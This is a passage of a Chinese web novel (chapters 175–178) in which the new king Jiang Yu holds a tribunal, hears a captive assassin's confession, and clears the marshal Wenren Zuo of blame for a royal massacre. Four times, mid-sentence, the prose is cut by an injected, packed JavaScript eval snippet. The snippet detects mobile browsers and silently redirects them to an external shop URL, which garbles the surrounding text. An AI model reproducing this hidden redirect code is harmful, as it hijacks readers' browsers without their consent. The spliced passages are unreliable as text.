“不……我就不去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575406|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 姜雨跳下了床,大张旗鼓地张开双臂,“佐叔,看清楚我身上穿的是什么。你没有拒绝的权力。” 闻人佐看了一眼,他又何须去看。城不可一日无主,姜雨虽然半个字没说,但是他肯定早就成为了这个城市至高无上的那个人。 叹息了一声,他转身,把睡梦中的闻人芹抱了起来,道:“唉……您以前不会这么强人所难。您变了。” “别以为这么说我就会产生任何的愧疚之感,佐叔。”姜雨露出他的虎牙,嘻嘻笑道,“我本来就是这种人,只是以前地位比你低,没资格命令你嘛。” 闻人佐不置可否。 姜雨连忙取过拐杖,递给闻人佐,又将闻人芹从对方的手里接过来。女孩在姜雨的怀里转醒,他抱着她,瘦弱的臂膀看上去有些吃力,但姜雨完全没有要松手的意思。闻人芹盯着姜雨,好奇地拽他金发的发,在手里反反复复地把玩。 他们离开了医所,上了马车,向目的地驶去。一路上,姜雨都抱着闻人芹,任谁来也不松手。 马车里,姜雨悠荡着闻人芹,让女孩安稳地睡过去,他对闻人佐说道:“等到了审判会堂,让姐姐们照看小芹吧,她就不必进去了。” 闻人佐问:“那些逝露阁的女人还跟着您吗?” “当然啦,她们永远是我的姐姐们。不过也有一部分想跟着神婆,就待在老地方了。” 如果是交给那些女人照看闻人芹,闻人佐一点意见都没有。她们仁慈强大,毫不意外,能把小芹照顾得很好。 马车几乎没怎么颠簸,王庭之中,所有的地面都由大理石铺成,平整、干净,看上去没有一粒尘埃。 不过多久,他们到达了目的地,那是一栋辉煌的建筑,大门高高耸立,两名侍者在一左一右站岗。 姜雨等人到来后,待者拉开了大门,几人走了进去。 进入了那门中,更是一片富丽堂皇的景象,金色的装饰,遍布各处的烛台,镶着金边的窗户。这无疑都是姜昆维留下的遗产。 一排排座椅呈扇型排列在场地之内,座位的方向都对准了最高处的王座。 门开后,座位上的大臣们都投来视线,纷纷起身行礼。 姜雨踩着脚下的地毯,庄重地往里面走,抬手往下一压,示意那些人坐下。 闻人佐跟在他的身后,拄着拐杖,一瘸一拐。他不在乎自己现在是什么模样,只是姜雨要他来,所以他来了,大臣如何看他,他都不在乎,或许,自己以后和这些高官显贵们再也不会有什么联系了。 姜雨落座,也请闻人佐在他的一侧坐下。他们面前的,是乌泱泱的大臣们,他们已经在这里整齐地等候,静待聆听新主的话语。 “今天召集各位,是为了追讨五年前的一桩案件。这件事与我有关,也牵连你们众人。案子早已尘封,但我执意要将他重新揭开,只因里面蕴含着极大的冤屈与阴谋。”姜雨如是说,他冲着门口的侍者大声道,“将她带上来吧。” 随着他令下,又一个身影出现在了大门前。 175. 风花凋落2 那是一个浑身缠绕着枷锁的女人,金发,年纪轻轻,眼睛上缠着绑带。两个身披甲胄的人将她压到所有人的视线中央,踢她的膝窝,让她跪下。 当她出现的那一刻,群臣之间便开始了窃窃私语,他们当然认得这个女人,在王庭,没有人不认识她。 那是姜昆维的妻子,亡国的公主,丝黛拉。 此刻,她一言不发,身形单薄,就那么跪在地上,和她的身份极度地不匹配。众人不知发生了什么,但是,也没有人站出来说些什么。这个摄文王后,总是跟在姜昆维的身后,不与任何人交流,离他们都太过遥远。 姜雨看着她,“请开始你的陈述,北地而来的刺客。” 姜雨这么称呼她,更是让那些群臣一头雾水,他们迷茫地来回交头接耳,亟待听到更多的信息,才能判断当下正在发生什么。 丝黛拉低着头,声音十分地寡淡,就那么平铺直叙地说道:“我是……来自北地刚都果的人,从小在那里生活,无父无母。” 姜雨道:“刚都果,据我所知,只是一个不成气候的聚落,算不上村落、城镇,更没有贵族、王室,你的公主身份是假的吧?” 丝黛拉在颤抖,在两个士兵之间,似乎在压制着什么。 “啊,我忘了,你受到过针对我攻击的训练。为了防止什么意外发生,我还是别说话了。”姜雨道,他向一边的人点了点头,一旁的待者领命,站了出来。 他成为传递姜雨话语的代言者,说道:“陛下问,你的公主身份,是否是作假。” 姜雨的声音不再传来,丝黛拉像是失去发怒的了力气一般,低着头,点了点它。 这之后,群臣之中又传来一阵议论纷纷的嘈杂。 丝黛拉是亡国的公主,这点人尽皆知,因为姜昆维把她带回来的时候,就是这么形容她的身份,谁也没有去怀疑过,也没有人去证实过。 传话人命令道:“接着说。” 丝黛拉张了张嘴,道:“有一天,很平常的一天,一群人找到了我。那个时候,我无家可回,天天饥寒交迫,在外面受冻。那些人说,可以提供我食物和住处,我就和他们走了。” 传话人催问道:“他们是谁?” “后来我知道,他们是一个叫做刺客联盟的组织。”丝黛拉如此答道,她似乎很温顺,对姜雨的所有问题知无不言。 在她这番坦白之后,群臣之中传来了再也压制不住的声音,“刺客联盟?!那不是五年前那个、那个袭击了先王的组织吗!” 姜雨不置可否,这件事,不需要谁来肯定,这是所有人都知道的、不能算得上内幕的内幕。 五年前的惨剧发生之后,向来和北地相安无事的摄文突然向北地发兵,剿灭了那里的刺客联盟。而主导这件事的,便是姜昆维和大元帅闻人佐,他们的动作非常的突然,没有任何的征兆和原因可寻,但是,几乎是每一个经历过五年前惨剧的人都知道,那是一场复仇。 刺客联盟主导了五年前的惨剧,而摄文王和大元帅出兵北境,则是为了给先王报仇。 传话人扬扬头,向丝黛拉问道:“那之后呢?” “之后……他们对我展开了非人的待遇。”丝黛拉如此说着,她的声音凄凉,那些事似乎对她来说不堪回首,“他们将我培养成了一个刺客,我整日整夜与黑暗和刀剑为伍。他们叫我见人就杀,每一天,只有三件事做,杀人,吃饭,睡觉。” 传话人问:“你的眼罩是用来做什么的?” “它是为了限制我自己……在刺客联盟的训练之下,我对所有成年人都有攻击的冲动,只要看到他们,就会展开攻击,这与我的任何意愿都相违背。他们将我投入战场,让我大开杀戒,而后,再回收精疲力竭的我,如此循环往复。”丝黛拉道。 这时候,姜雨突然插话道:“你和我的王兄是如何认识的?” 听闻姜雨的声音,丝黛拉猛地挣动了一下,那骤然的行为非常突兀,像是完全不受她自己控制一般,“大概在七年前,他来到了北地,找到了刺客联盟的首领,和他达成了一个协议。那个时候,是我第一次见到姜昆维……” 群臣中传来恼怒的声音,“陛下,她在妖言惑众!先王、不,我指的是前不久已故的摄文王,怎么会去刺客联盟!?陛下,这个女人的问题很大!她是如何成为王后的,也请务必调查清楚!” 得知真相的人都知道,丝黛拉的话是真话。但是,对那些不知道姜昆维做过什么的人来说,这些话没有一丝一毫的可信度。 但是姜雨并未急着辩解什么,而是道:“稍安勿躁,让她把所有事情说完,最后,各位在判断是否要相信她。” 丝黛拉痛苦地低吟着,在姜雨的声音停止后,她也平息下来,再度开口,“姜昆维从刺客联盟离开后,我和一组人员接到了一项任务,两年之后,我们要发起一场针对摄文王庭的袭击。我和其他四人充当此次行动的先锋,同时,也是死士。” “不,这不可能……”众人中,惊叹的低语响起。 女人抬起头,像是能看到姜雨一般,说道:“首领提供了所有姜家人的画像,但不包括姜昆维。我们被训练摧毁那些带着画像的假人,只有杀了那些假人,他们才会拆下我们身上带刺的锁链,疼痛才能消解。那两年之间,我们小队没有接到任何任务,只是在一直训练着,该如何杀掉那些金发蓝眼的人。在行动开始之前,我们早就潜伏在王庭之中,听着姜家人的声音,完全记住了你们的声线,你们说话的时候,我们身上的枷锁会疼,你们不说话的时候,它才会停下。” 姜雨看着她,视线十分地冷清。他对传话人低声说了什么,后者说道:“所以,你不需要摘下眼罩,只是听到陛下的声音,便会无法扼制攻击的冲动。” 丝黛拉道:“是的。” 传话人:“五年前那一夜,具体发生了什么?” 丝黛拉道:“五年前,我们行动的那一夜,有姜昆维配合,寻一个理由,将姜家人聚集在一起,方便我们一并剿灭。我们潜伏在角落,待防守疏漏时,展开了屠杀。我们先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575407|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀死了姜阳,将他的头颅斩落。而后是百里茗,姜恩重,姜姝,姜安兰,以及待者和护卫们。我们将姜家人肢解,只有这样才能停止脑海中对于疼痛的恐惧……” “恶妇,不要为你自己的行为再添油加醋!”有人暴怒,道,“你的罪行不会因此而减免!” 底下有人惊恐地念叨着,“怎么会、怎么会这样……那天,我记得确实是……是先王姜昆维主导了一场家庭聚会。我记得非常清楚,因为我夫人还为他们装点了居室……” “你想什么呢,不可能!肯定是这女人在妖言惑众……”一旁的人道。 摄文向来不崇尚一言堂,每个大臣都在发表自己的意见,一时间,这个偌大的审判会堂之上响起了各种各样的、迟迟未能停歇的议论声响。 人们互相交谈着,有人咒骂着,还在有人质问丝黛拉,亦有人向姜雨说话,想要请他为姜昆维主持公道。 随着时间的流逝,那些声音渐渐沉静下来,传话人再度开口,他依然是那句话,“继续说。” 丝黛拉道:“但是,王庭的反应比我们预期得要快,大元帅很快就率人赶了过来。” 被点到了名字,闻人佐抬了抬眼,之前,他一直都垂着头,像是整件事和他无关一般。因为,他知道,自己的任何言论,都会被一部分支持姜昆维的人认定是谎话。那样的话,他不如什么都不说,有些时候,沉默能够起到恰到好处的作用。 丝黛拉继续道:“我们都是死士,不能留给王庭一点抓到我们的机会,一个字也不能从我们的口中被挖出来。与我同队的人自尽了,然而我……害怕了。” 这时候,姜雨转向了闻人佐,说道:“佐叔,方便讲讲那天你看到了什么吗?” 果然,姜雨不打算让他只是沉默地坐在这里。闻人佐清了清嗓子,“我带人冲进房间的时候,殿……陛下身负重伤,姜昆维倒在窗边,而这名刺客站在窗边正要离开。其他的所有人……都死了。” “是这样的。”姜雨肯定道。他用自己的嗓音发声,不再理会这是否让那个刺客激动、痛苦。年轻的王对众人说道,“我经历过一切,那些回忆在我心里埋藏了很久,但是我清晰地记得它们。我看到那些刺客袭击了父王,还有我的哥哥姐姐们。倒下的时候,我听到了远处的嘈杂,现在想来,那是大元帅带人赶来的声音。” “我……很害怕。”丝黛拉挣扎着,身体不听使唤一般,但是她在强忍着,“但是我们的任务还没完成,我们理应确认姜雨的死亡,再对姜昆维动手,然后自杀。但是我们没有时间了,大元帅就快要到来,所以,我们没去确认姜雨是否还活着,队里的人把姜昆维交给我处理,而我也给了他重创,不至于致死,但足够蒙混过关。我看着队员们纷纷自杀,我……本应该成为他们之中的一员,但是我没有那么做。” 姜雨道:“的确,在昏暗的视野里,我的确看见刺客们纷纷自尽。” “那个时候先王怎么样了,陛下?!”台下,有人急切地问道,“先王姜昆维他在做什么?” 176. 风花凋落3 “……他……”姜雨犹豫了一阵子,有些艰难地开口,“安然无恙。他安然无恙。我不知道昏迷后发生了什么,只能说……当父王母后和哥哥姐姐们七零八落,我也倒在血泊里的时候,二哥姜昆维的确毫发无伤。” 底下十分安静,似乎连一根针掉在地上的声音都能听见。 姜雨耷拉着眉毛,模样十分感伤,“各位……我只是在陈述自己看到的事实。今天,在这里,你们听到的一切,都由你们自己定夺。具体如何,我需要你们亲自去评判。” 他说完,台下却是更加安静了。人们你看着我,我看着你,眼睛里是震惊和犹疑,许多人陷入了看似苦恼的沉思。 “丝黛拉,继续讲后面发生了什么。”姜雨道。 丝黛拉激灵了一下,反应不再那么大,像是习惯了一般,道:“我重创姜昆维后,逃到了贫民窟里,就在那里躲着。” 这时候,传话人拿来一个册子,它盖着厚重的封皮,有鎏金的光华在其上流淌。 闻人佐知道那是什么,那是陈书了姜昆维一生辉煌的功绩册,是姜昆维曾经亲自要求别人为他撰写的,摄文的群臣们都知道它。 传话人把它敞开,两只手托着它,念道:“寒纪195年,王庭惨剧发生的同年冬日,先王姜昆维频繁往来于贫民窟,视察民情,修建建筑,引导贫民从中撤离,为他们分拨土地、资产。” 他翻过又一页。“次年,寒纪196年,先王向西部出征,探访临近友好城市,解救亡国民众,引导他们向摄文归拢,为其妥善安置。 “寒纪197年,先王姜昆维,尊年四十四,赢取亡国公主丝黛拉,尊年十三。” 传话人合上它,像合上一本记录岁月的史书。 “后来之事,人尽皆知。”传话人如此作为结尾。 台下鸦雀无声,众人一时间接收到了太多的信息。 他们在试图把所有的事串联在一起,而无疑,这种串联,会将一些深信不疑的事实击碎。 “这不可能,先王抱着解救众生的想法,而解放了贫民窟。”一个声音说道,那是个年轻人,满脸义愤,“我就是被他从那里捡来,提拔上来的。他认可我的才能,在泯然的众人中看到了我、选中了我!你说的那些都是巧合罢了,他做过很多善事,这只是其中几件,为什么唯独把它们拎出来说!?” 传话人道:“先王姜昆维的确做过许多有益于民众的事,每一件都需要正视。但是,如果一一赘述,对于今日之事的判决并无帮助。我只是选取了有关联几项陈述,并没有向其它方向引导的意思。” “也许……”姜雨在此刻说道,“王兄真的只是单纯想要拯救贫民窟里的人,而他去西部出征,也是为了和那里的部落达成友好关系,毕竟,从他一开始就有立国的想法来看,这些行为都站得住脚。” 闻人佐看了一眼姜雨,后者到现在为止听起来都是中立的,应该还是想让群臣自己从细枝末节里找到真相。 底下传来窃窃私语,一个女官员说:“摄文从来不和北边、西边打交道,那都是些蛮荒之地,先王去那种地方究竟是……” “是为了掩盖什么吧。”一旁,一个冷淡的声音回复。 另一个老臣加入了对话,“先王做的这些事,从头到尾都没有任何问题。” 女官员说:“但是不觉得太奇怪了吗?他要安置贫民窟里的人,那些勾心斗角的长老会同意?他把西部的难民向摄文引进,这本身又是一件对本地人民非常水深火热的事情。” 那个冷淡的声音道:“他无论面临怎样的困难,都要去做这两件事,不管是长老阻拦,还是有可能引起市民的哀怨。先王义无反顾,这么做肯定有别的原因。” 老臣说道:“先王心中自有一盏明灯,他知道什么是对,什么是错。对于他认为对的事情,他就会去做,无论有什么人、什么事阻拦他。” 那个女官员盯着老臣,脸上是不赞同的神色,“先王认为对的事情……包括在角斗场上那样对待大元帅吗?” 老者瞪大了眼睛,鼻子里吐出浑浊的气息,将他的胡须吹高,“大元帅那是犯了重罪!” 老臣的声音拔高,刚巧,会堂的谈话中进入了一个偶然的停顿。于是乎,只有他一个人的声音突兀地凸显出来,被众人听见。 唰唰几道目光向老臣投去,他咳嗽了一声,目光不断往姜雨和闻人佐的方向瞟去,身板紧张兮兮地坐直了。 闻人佐不以为意,他遭受过更严重的谩骂,在更多的人面前。五年前,连绞刑架都准备好,自己穿着囚衣,在全城人面前低头等待死亡。相比而言,当下这点辱骂,算不上什么。 姜雨看着老臣,说道:“这位老先生,如果我印象没有出错的话,在惨剧发生之前,您曾是我父王姜阳身边的人。” 那老臣站起来,连连点头,“是,是……” 姜雨道:“嗯……印象里,您并不受重用。是王兄上任之后,对你格外关照吗?” 老臣犹犹豫豫,“这……” 底下,有人愤愤不平地开口,像是和老臣有过过节一般,“这老头特别喜欢投机取巧。” 老臣吹鼻子瞪眼,“刚才谁在说话!” 群臣以一众的沉默回复他。 姜雨咳嗽了一声,让老臣收敛一些,“别争吵,这件事不是我们今天聚集在此的目的。老先生,您刚才说,大元帅犯了重罪,我想听听,具体是什么罪,让我的王兄执意将他送到戈首上,以那样的方式对待他和他的家人。” “这、大元帅他……”老臣支支吾吾,低着头,不敢直视台上的几人,他的声音越说越小,“他有什么罪,我们大家都知道……” “我不知道。”姜雨道,“我需要你告诉我。” 台下没有人吱声,老臣形单影只,胆怯地说道:“就是……五年前的事。” “五年前的事怎么了?”姜雨追问。 老者呼吸有些急促,他憋足了一股劲,道:“他身居要职,然而,却暗中调换护卫,又姗姗来迟,让先王姜阳一家惨遭屠戮,罪不容诛!” “是吗?”姜雨的声音有些冷,“你以为父王的护卫是那么好调换的,大元帅想换就能换?” “可是,可是事实就是……” “你觉得在他一无所知的前提下,即便他已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575408|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经做到了一切能做的,而我作为一个当事人也不怨恨他……他依然应该受到如此苛责?” “……是、是的!”老臣道。 台下,交头接耳的人中,有人目光无奈、厌烦。 一个大臣站起来,像是终于忍受不了这一切,说道:“陛下,先王对大元帅的举动,并不合适。” 下面有人认同,但也有迟迟不肯让步的声音。双方盯着彼此,几乎有着那么一股仇视的意味。 台下,反对的声音群起:“若他再早去一些,先王姜阳也不会逝去!” 支持者说道:“大元帅已经以最快的速度行动了!” 反对意见毫不退让,“但他还可以再快一些——” “怎么快!”突然,姜雨一拍座椅,出声打断道。他双眼微微张开,那是愠怒的先兆,“谁告诉我怎么再快一些?在有人刻意将他支开的前提下,他要怎么及时赶回去?” “他是大元帅,总该有办法……”有人小声嘀咕。 姜雨像是再也忍受不了那些声音,震声压制了所有人,“他没有办法,那是我父王的命令!而且要不是姜昆维从中作梗,护卫本不会调换,大元帅也不会离开!” 他说完,台下哑然。 姜雨终于把这些话说出口了。这是这场会议中,他第一次带有个人感情地亲口道明了真相。 闻人佐出声阻拦,没有必要非为了自己的事情闹成这样,“陛下,过去的事就算了……” 男人没理会,他爆发出巨大的威慑力,声音之大,前排的人纷纷低头,“那天如果没有闻人佐,我会死,但姜昆维不会!” 他终于把真相说出了口。 在他的吼声之中,丝黛拉在颤抖,而群臣惊愕。他们没见过这样的姜雨,即便他身形瘦弱,卓然还是一副帝王之姿。 姜雨信手一挥,“来!既然都说到了这份上,也没什么好再讨论的。你们之中的有些人,恐怕是永远也醒不过来了。来,把人给我带上来!” 在他的命令之下,两个人影出现在了大门口,他们往里走,越过众臣之间。 那是一名士兵和一名金卫,金卫的盔甲破破烂烂,身上也带着大大小小的伤。闻人佐看他有点眼熟,好像是接风宴上一度用刀控制住姜雨的那个。 士兵带着金卫上前,后者跪在了地上。 姜雨身前的代言人开口,说道:“把姜昆维交代过你的任务重述一遍。” 金卫垂着头,他没有让人等很久,缓慢但字句清晰地说:“一个月前,十一月二日,在绝生幕预选赛的次日,先王召集我们,说要设宴庆祝亲王姜雨回归。” 底下的人议论纷纷,“一个月前……接风宴那次?” 另一个人小声问:“那次到底怎么了,郸老和晋老在那之后突然销声匿迹了。” “不止他们俩,还有好多呢。” 金卫继续说道:“先王邀请了想要革除的元老大臣,叫我等在旁待命。等到闵派将元老大臣杀尽之后,再由我等出面解决闵派。” “什么派?”底下有人小声问。 也有人面色惊恐,“闵派……先王……难道……” 177. 风花凋落4 姜雨此刻对无言已久的丝黛拉说道:“闵派,是你所在的刺客派系。” 身形微垂的丝黛拉回应说:“是。” “那天发生了什么?”姜雨问,“为什么姜昆维连你也抓起来?” 丝黛拉抬起自己的脸,脆弱的脖颈露了出来,“姜昆维说,肃清了不合心意的大臣之后,那些空出来的位置,便由闵派的人来顶替。可是他背叛了我们,在我们的人解决了那些手无寸铁的大臣元老之后,他突然反戈,让金卫将我们包围起来,最终尽数残杀。” 台下,有些人迷茫不已,“这到底是在说什么?” 同时,有一个模样悲愤的人对周围人道:“……这些都是姜昆维做的,所有的一切,包括五年前的惨剧,还有一个月前元老突然失踪的事,都是因为他。现在已经确凿无疑了……!” 旁边仍有犹豫的人,“可是,先王那么宽容慈悲,他……” “他表现出来的样子,都是他想让你我看到的。你们这些人,动动脑子,看看他具体做了些什么,通过这些再去评判他是个什么样的人,行吗!” 此刻,地上跪伏的金卫又开口了,“那场接风宴上,在束延将军赶来之时,我等佯装与闵派纠缠得难解难分,杀害元老大臣的罪责最终由死去的闵派承担。整件事秘而不发,但若有人调查起来,只会查到闵派的头上。” 底下,有人小声地、惊恐地与身边的人小声道:“等等,这是在说什么……我怎么、怎么完全反应不过来了?先王做了什么?他对那些元老……” “仔细听,小子。”一旁,一个中年人说道,“仔细听。你必须听明白了,然后站队。这就是陛下今天叫我们来的目的。” 困惑的人依然不解,“我还是不懂,站队,谁和谁的队?” “先王和陛下。” “他们不是一家人吗……” “哎,这半天,你脑袋里是一个字都没听进去?” 迷惑的人道:“可是,先王……他都已经是先王了,站队不得给活人站队吗?” 中年人耐心地为他解惑,“越是位高权重的人,他们死去之后的影响力便越是长远。先王的肉|体死了,精神消亡,但是他的影子依然会残留在这片大地上。现在,陛下就是要我们选,是依然追随曾经的影子,还是追随他。” 迷惑的年轻人:“我还是不懂……” “算了,一会我怎么做你就怎么做,起码命能保住。” 众臣在沉默,他们在思考,在震惊。 事实已然摆在眼前,只剩下两个选择,要么选择相信,要么用虚假的谎言蒙骗自己。 这时候,姜雨缓缓站了起来,在众人的面前,在所有的视线交汇之处,仿佛要为这场事件做一个总结一般,他说道:“权利的交替,古往今来,无数次发生。” 说到这里,仰起头来,长叹一声,“如果以一个旁观者的角度来看待这些年的事,我自己也不过是一个政治的牺牲品,和每一个君王背后逝去的名字一样。政权更替伴随着血雨腥风,这是非常常见的事情。” 闻人佐看着姜雨,不太意外他能说出这样的话来。对方虽然五年来一直待在妓院的深处,可他没有一日不曾关心外界,又用密密麻麻的文字浇灌自己的思维,这才有了现在的他。 “我的王兄,先王姜昆维,觊觎权力,所以主导了这一切。”姜雨如是说,垂下眼睛,“……每一个坐在王位上的人,他们的手上都沾满了血和泪。我今天,不是为了评判王兄的作为而来。我今天,只是为了让所有人知道当年的真相,得知那个先王曾经做过什么,他沾血的王位是如何得来,我需要你们所有人知道这一切。” 台下的人有人站出来说:“陛下,如果没有您,我们不会知道自己曾经追随的是一个怎样的人……” 反对的声音依然存在,有人站出来,跪了下去,为那个已经逝去的人求情,“陛下!请您明察,先王已逝,他不能说话,其他人再怎么造谣,他都没有声音可以反驳啊!不要让一代明主的名字,就这么背负着骂名离开这个殿堂,我恳请您——!” 姜雨冷眼看着他,说道:“你的意思是,我也在说谎吗?你以为,接风宴之后的那段日子,我为什么没有现身?那是姜昆维把我关了起来,打算在解决完大元帅之后,再处决我。” 跪在地上的人没有吱声,但是,也明显也没有退让的打算。 姜雨没再理会他,他说道:“我再重述一便。我今天来,不是为了斥责王兄的任何作为。我在他的手下险些死了两次,但这并非什么血海深仇,我在他眼中、在整个事件之中,只是一个政治的牺牲品。我不想、也不屑于因为他对我的攻击,而带着最大的恶意,去污蔑一个已逝之人名号。” 闻人佐听着姜雨所说的一切,他不得不感慨——先王,您最小的儿子,此刻也长大了。 “主导了惨剧,从父兄手中篡权,这是属于姜昆维带血的真相。”姜雨如是说,他顿了顿,目光凛然,看着在座的众人,道,“而我也不能有失偏颇,我也必须要告诉你们我的真相。在从姜昆维关押我的地牢中跑出来后,我派那血皑的杜光欧去刺杀他,并且成功了。我和姜昆维,都是杀害骨肉之人,在这点上,我们没什么区别。” 闻人佐听着,暗暗摇了摇头。 姜雨上前两步,环视众臣,“你们追随我,也只是追随另一个通过泣血的手段,爬到了王位上的人。我告知真相,并不是为了让自己坐在这个位置上心安理得,也不是为了让你们相信我便是绝对的正义。或许姜昆维对很多人做出过残忍之事,但他也有自己的属臣,他也有真正帮助过的人。我不要求那些受到他恩惠的人,去全然忘记他的恩惠,把他当作一个无可救药的恶人看待。我理解,我们每一个人,都有自己的立场。你们看到姜昆维的明面,便认为他是那样的人,我们看到了他的暗面,便认为他是另一幅模样的人。没有人将我们彼此的经历再现,对于姜昆维这个人,我们难以统一对他的看法。而我不做什么要求,你们大可以继续尊敬他,但也要接受,这世上有很多人——或许就是挨着你们坐的人——他们无比憎恨姜昆维。这些憎恨和你们的尊敬同理,无法抹去,无法湮灭。” 审判会堂鸦雀无声,人们郑重地看着台上的人,一个新时代的领导者就在那里。 姜雨往后退了两步,他转过头来,视线久违地落在闻人佐身上。 大元帅看到对方在笑,而他不理解那个笑容是什么意思。 姜雨转回头去,面向大臣,视线清明、硬朗,他呼出了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575409|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气,以清亮的声音说道:“而我现在必须告诉你们,我今天召集你们前来的目的。虽然,我在最开始便已经说过,但我想你们许多都已经忘记——” 他意气风发,像终于出了一口恶气一般,说道:“——五年前的阴谋已然揭开,它制造的冤屈,也该一并被昭雪。” 姜雨信手一挥,笑着,却也隐藏着愤怒,“在我身后,这个已然支离破碎、鞠躬尽瘁的男人,闻人佐——” 闻人佐听到了自己的名字。他有些惊讶,他没想到还有自己什么事。 “你们曾经对他颇有意见,而这些我都知道。姜昆维待他不善,整个摄文对他嗤之以鼻,他受蒙冤,被冷落,一度架在那绞刑架上,二度被姜昆维送上角斗场,他本人支离破碎,家庭也是如此!然而,他却用绝对的忠诚和坚韧回答着这一切。”姜雨说道,他似乎比话中的本人还愤恨不已,“他为了姜家人,为了当初还没有露出马脚的姜昆维,为了我,做了很多。他剿灭了刺客联盟,忍受着姜昆维的欺压,对抗着整个摄文的冷眼,他去妓院看望我,因此也背负上了不洁的骂名……” 闻人佐张了张嘴,他觉得姜雨有些夸张了。这其中有许多都是他应该做的,又何必言明。 台下有目光掷来,闻人佐看过去,但是,出乎意料地,他没有在那些眼神之中看出曾经那种深入骨髓的鄙夷。 “他没有任何可以指责的地方。”姜雨说,他的眼神很冷,声音也压得很低,“如果,在摄文的领土上,我再听到任何一个人说五年前那件事是大元帅的错,如果我再看到任何一个人对他表示出不应有的不敬……我自可以化身为姜昆维那般的暴君。” 摄文的新王说完,一挥手,魄力一如他父王当年,“今天就到这里,散会!” 片刻的安静后,大臣们起身,开始稀稀落落地离开了。士兵押送走了金卫,而丝黛拉也被人带了下去。 这时候,姜雨再度转过来,新王眼中的狠戾烟消云散,他凑到闻人佐身前,颇为温和地看着他,“佐叔,都结束了。” 最后的这段昭雪,实在有些出乎闻人佐的意料,但的确是像姜雨能做出来的事。 闻人佐感激他,话到了嘴边却变了,“陛下,您不必为我做这么多。” 姜雨眨了眨他蓝色的眼睛,“别谢我,我可是有条件的。” 闻人佐不解地看他。 “继续做大元帅吧,佐叔。” 闻人佐一愣,原来是为了这件事。 自己从来没在姜雨面前提起过卸任的想法,但这个新任的摄文王很敏锐,恐怕已经觉察出来了什么。在他打退堂鼓之前,先发制人,用那一连串的话来收买他,让群臣期待的视线裹挟他。 可是……这不是一件被收买就能答应的事。 他已经……什么都不想做了。没有了目的,甚至没有了憎恨的对象。他只想照顾好自己的女儿,把她养大,除此之外,他已经什么都不在乎了。 但此刻,在姜雨那般诚恳的注视下,他又没法说出拒绝的话,“我……” 就算是三岁的小孩子也能看出他的犹豫,太明显了,低垂的头,不愿与之相对的视线,局促不安的双手,这一切都说明,姜雨所期待的那个答案,这个被询问的本人却并不期待。 178. 风花凋落5 “好吧……”姜雨了然地说道,他长长地叹息一声,接着又体谅地说道,“佐叔,我知道,这个城市……还有这个城市里的人,都给你留下了不好的回忆。” 闻人佐鼓足了劲,还是打算当即拒绝,“陛下,我觉得我——” 姜雨像知道他要说什么一样,立刻打断了他,“所以你现在不给我答复也可以。” “……”闻人佐无言地看着姜雨。这次说出拒绝的机会,就这么让对方生生给岔过去了。 “我需要你,佐叔。这个城市需要你。”姜雨道,“所以,我愿意等,只要你觉得你还没有准备好,我可以一直等。” 闻人佐:“……我想回去再考虑,陛下。” 姜雨理解地点点头,不再纠结于此。 大臣们走得差不多了,纷纷三五聚集成群,边议论着边离开了审判会堂。也有些人留在原位上,抱着脑袋,像是在懊恼什么、想不明白什么事情一般。 有人上前与姜雨攀谈,还有人想要找闻人佐一叙,但是那些找大元帅的人都被姜雨拦下了。姜雨让闻人佐先走,对群臣说大元帅的身体抱恙,已经很累,不能久留。 而那些本来要传达给闻人佐的话——无论是歉意、询问、还是赞赏——全都留给了姜雨,他承诺将来某日会向大元帅转达。 于是乎,闻人佐拄着拐杖,在两个侍者的搀扶下,先去找到了闻人芹,又带着她乘马车回到了医所。 那之后一段时间,日子可以说是过得风平浪静。 姜雨来过几次,没有再提出让他继续担任大元帅的要求,但是闻人佐知道,新任的摄文王一直都在等待自己的一个答复。 然而,直到闻人佐丢弃了拐杖,他依然认为自己没办法给姜雨答复。 说实话,自从那场他亲自参与的“不尽死斗”结束之后,这段日子,除了身体的伤痛外,整个人都轻松了很多。 